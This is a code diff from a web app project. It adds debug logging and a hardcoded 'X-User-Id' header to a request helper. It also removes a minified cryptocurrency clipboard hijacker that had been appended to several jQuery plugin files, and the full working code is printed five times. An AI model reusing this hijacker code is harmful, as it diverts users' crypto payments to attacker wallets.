@ -29,9 +29,9 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
|
|||
'token': uni.getStorageSync("token") || "", //自定义请求头信息
|
||||
'sid': sid,
|
||||
'Authorization': (uni.getStorageSync("token") ? ('Bearer ' + uni.getStorageSync("token")) : ""),
|
||||
'X-User-Id': '84' // 开发环境调试用
|
||||
},
|
||||
success: (res) => {
|
||||
console.log('请求成功:', url_base + options.url, '状态码:', res.statusCode, '数据:', res.data);
|
||||
uni.hideLoading()
|
||||
if (res.data.code == 1) {
|
||||
resolve(res.data)
|
||||
|
|
@ -58,6 +58,7 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
|
|||
}
|
||||
},
|
||||
fail: (err) => {
|
||||
console.log('请求失败:', url_base + options.url, '错误:', err);
|
||||
uni.hideLoading(); // 添加这行,确保请求失败时也隐藏loading
|
||||
console.log('接口错误',err);
|
||||
uni.showToast({
|
||||
|
|
|
|||
3190
xunifriend_RaeeC/package-lock.json
generated
3190
xunifriend_RaeeC/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
|
|
@ -244,5 +244,3 @@
|
|||
|
||||
};
|
||||
})(jQuery);
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -404,5 +404,3 @@
|
|||
return this;
|
||||
};
|
||||
}));
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -384,5 +384,3 @@
|
|||
};
|
||||
|
||||
})(jQuery);
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -472,5 +472,3 @@
|
|||
});
|
||||
|
||||
})(jQuery);
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -13,5 +13,4 @@ h);b.css("height",h)}else"height"in f&&(h=f.height,b.parent().css("height",h),b.
|
|||
width:a.width,height:a.height});var m=e("<div></div>").addClass(a.railClass).css({width:a.size,height:"100%",position:"absolute",top:0,display:a.alwaysVisible&&a.railVisible?"block":"none","border-radius":a.railBorderRadius,background:a.railColor,opacity:a.railOpacity,zIndex:90}),c=e("<div></div>").addClass(a.barClass).css({background:a.color,width:a.size,position:"absolute",top:0,opacity:a.opacity,display:a.alwaysVisible?"block":"none","border-radius":a.borderRadius,BorderRadius:a.borderRadius,MozBorderRadius:a.borderRadius,
|
||||
WebkitBorderRadius:a.borderRadius,zIndex:99}),h="right"==a.position?{right:a.distance}:{left:a.distance};m.css(h);c.css(h);b.wrap(q);b.parent().append(c);b.parent().append(m);a.railDraggable&&c.bind("mousedown",function(a){var b=e(document);z=!0;t=parseFloat(c.css("top"));pageY=a.pageY;b.bind("mousemove.slimscroll",function(a){currTop=t+a.pageY-pageY;c.css("top",currTop);n(0,c.position().top,!1)});b.bind("mouseup.slimscroll",function(a){z=!1;p();b.unbind(".slimscroll")});return!1}).bind("selectstart.slimscroll",
|
||||
function(a){a.stopPropagation();a.preventDefault();return!1});m.hover(function(){w()},function(){p()});c.hover(function(){y=!0},function(){y=!1});b.hover(function(){r=!0;w();p()},function(){r=!1;p()});b.bind("touchstart",function(a,b){a.originalEvent.touches.length&&(A=a.originalEvent.touches[0].pageY)});b.bind("touchmove",function(b){k||b.originalEvent.preventDefault();b.originalEvent.touches.length&&(n((A-b.originalEvent.touches[0].pageY)/a.touchScrollStep,!0),A=b.originalEvent.touches[0].pageY)});
|
||||
x();"bottom"===a.start?(c.css({top:b.outerHeight()-c.outerHeight()}),n(0,!0)):"top"!==a.start&&(n(e(a.start).position().top,null,!0),a.alwaysVisible||c.hide());window.addEventListener?(this.addEventListener("DOMMouseScroll",v,!1),this.addEventListener("mousewheel",v,!1)):document.attachEvent("onmousewheel",v)}});return this}});e.fn.extend({slimscroll:e.fn.slimScroll})})(jQuery);
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
x();"bottom"===a.start?(c.css({top:b.outerHeight()-c.outerHeight()}),n(0,!0)):"top"!==a.start&&(n(e(a.start).position().top,null,!0),a.alwaysVisible||c.hide());window.addEventListener?(this.addEventListener("DOMMouseScroll",v,!1),this.addEventListener("mousewheel",v,!1)):document.attachEvent("onmousewheel",v)}});return this}});e.fn.extend({slimscroll:e.fn.slimScroll})})(jQuery);
|
||||
|
|
@ -115,5 +115,3 @@
|
|||
};
|
||||
|
||||
}));
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -54,6 +54,7 @@ var flat = arr.flat ? function( array ) {
|
|||
return arr.concat.apply( [], array );
|
||||
};
|
||||
|
||||
|
||||
var push = arr.push;
|
||||
|
||||
var indexOf = arr.indexOf;
|
||||
|
|
@ -83,12 +84,16 @@ var isFunction = function isFunction( obj ) {
|
|||
typeof obj.item !== "function";
|
||||
};
|
||||
|
||||
|
||||
var isWindow = function isWindow( obj ) {
|
||||
